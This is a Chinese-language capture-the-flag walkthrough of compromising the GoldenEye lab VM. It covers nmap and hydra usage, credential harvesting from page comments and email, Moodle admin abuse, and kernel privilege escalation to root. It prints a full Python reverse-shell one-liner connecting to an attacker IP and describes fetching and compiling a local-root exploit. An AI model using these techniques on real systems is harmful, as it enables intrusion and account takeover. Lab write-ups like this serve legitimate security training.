导入靶机后,使用netdiscover获取靶机IP。
Netdiscover选项
这里使用命令:netdiscover -r 192.168.2.0/24,扫描到靶机IP为192.168.2.5
先使用nmap做信息收集:nmap -sS -sV -T5 -A -p- 192.168.2.5
-P0:值进行扫描,不[ping](http://man.linuxde.net/ping)主机;
-PT:是同TCP的ping;
-sV:探测服务版本信息;
-sP:ping扫描,仅发现目标主机是否存活;
-[ps](http://man.linuxde.net/ps):发送同步(SYN)报文;
-PU:发送udp ping;
-PE:强制执行直接的ICMPping;
-PB:默认模式,可以使用ICMPping和TCPping;
-d:增加调试信息地输出;
-oN:以人们可阅读的格式输出;
-oX:以xml格式向指定文件输出信息;
-oM:以机器可阅读的格式输出;
-A:使用所有高级扫描选项;
-sT: tcp扫描
-sP: PING扫描
-sS:syn扫描
-sU:UDP扫描
--resume:继续上次执行完的扫描;
-P:指定要扫描的端口,可以是一个单独的端口,用逗号隔开多个端口,使用“-”表示端口范围;
-e:在多网络接口Linux系统中,指定扫描使用的网络接口;
-g:将指定的端口作为源端口进行扫描;
--scanflags:设置在扫描报文中的TCP标志。
开放了25、80、55006、55007四个端口,先访问80端口看看
网页给出提示,说访问/sev-home/目录,但是访问发现需要账号密码。
四处查看,发现有个terminal.js文件
在注释当中发现两个用户:boris和Natalya
注释中还给出了HTML编码之后的password,解码后为:InvincibleHack3r
使用获得的用户名和密码,尝试登录http://192.168.2.5/sev-home/
登陆成功
谷歌翻译一下
这里了解到运行着一个POP3服务,根据之前nmap扫描的结果,访问55006、55007,访问后发现是55007
回看 terminal.js 当中的提示,服务正在使用默认的密码,使用hydra爆破一下。
kali自带字典:/usr/share/wordlists*/
-R 根据上一次进度继续破解
-S 使用SSL协议连接
-s 指定端口
-l 指定用户名
-L 指定用户名字典(文件)
-p 指定密码破解
-P 指定密码字典(文件)
-e 空密码探测和指定用户密码探测(ns)
-C 用户名可以用:分割(username:password)可以代替-l username -p password
-o 输出文件
-t 指定多线程数量,默认为16个线程
-vV 显示详细过程
server 目标IP
service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)
用户名:boris,密码:secret1!
用户名:natalya,密码:bird
有了用户名和密码,这里使用nc登录到服务器邮箱。
这里要用到pop3命令:
先登录boris,并没有在邮件中发现什么有用的东西,那换成natalya登录看看。
在第二封邮件中获取到一些信息
用户名:xenia,密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir
根据邮箱的要求,修改hosts文件,添加域名,然后访问。
是Moodle开源CMS,使用刚才邮箱中获取到的用户名和密码进行登录。
翻翻找找,发现了一封邮件,其中包含一个用户名doak,但是没有密码。
再次使用hydra进行密码爆破。
使用破解出的用户名密码登录pop3服务查看邮件。
用户名:dr_doak,密码:4England!
重新登录CMS,发现一个s3cret.txt文件。
访问其中给出的图片。
将图片保存下来,使用exiftool查看,发现base64字符串。
base64解码后的得到xWinter1995x!
使用用户名:admin,密码:xWinter1995x!登录CMS,谷歌后发现靶机是没有有gcc编译的,首先把GCC编译改为CC编译,Google Spell改为PSpellShell。
经过网上搜索moodle2.2.3版本的漏洞后,发现在Site administration-Server-System paths,可以上传代码。
这里使用python反弹shell,代码:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);s.connect(("192.168.2.3",5555));os.dup2( s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
关于反弹python反弹shell,单独写一篇文章:关于Python -c反弹shell
nc监听本地5555端口。
关于nc,菜鸟教程
回到网页,找到能发邮件的地方,随便填写,然后点击Toggle。
成功反弹shell,继续执行python -c 'import pty; pty.spawn("/bin/bash")'获取tty,执行id后能发现,是www-data低权限用户,接下来就要想办法进行提权。
谷歌搜索ububtu 3.13.0-32的提权漏洞后,选择使用kali中自带的exploit 37292。
searchsploit搜索到之后,将37292.c复制到当前目录来。
因为目标机器没有gcc编译,所以要修改37292.c,修改为cc编译。
在kali当中使用python启动一个http服务。
关于python开启http服务可见以下文章:
python3 http.server模块 搭建简易 http 服务器
【HTTPServer】借助Python建立简易的HTTP服务
在目标机器中,cd到tmp目录,然后wget下载37292.c脚本。
使用cc编译37292.c后并执行。
此时再输入id和whoami,已经提升到了root权限。
find查找一下flag,发现一个.flag.txt文件。
cat看一下,拿到flag。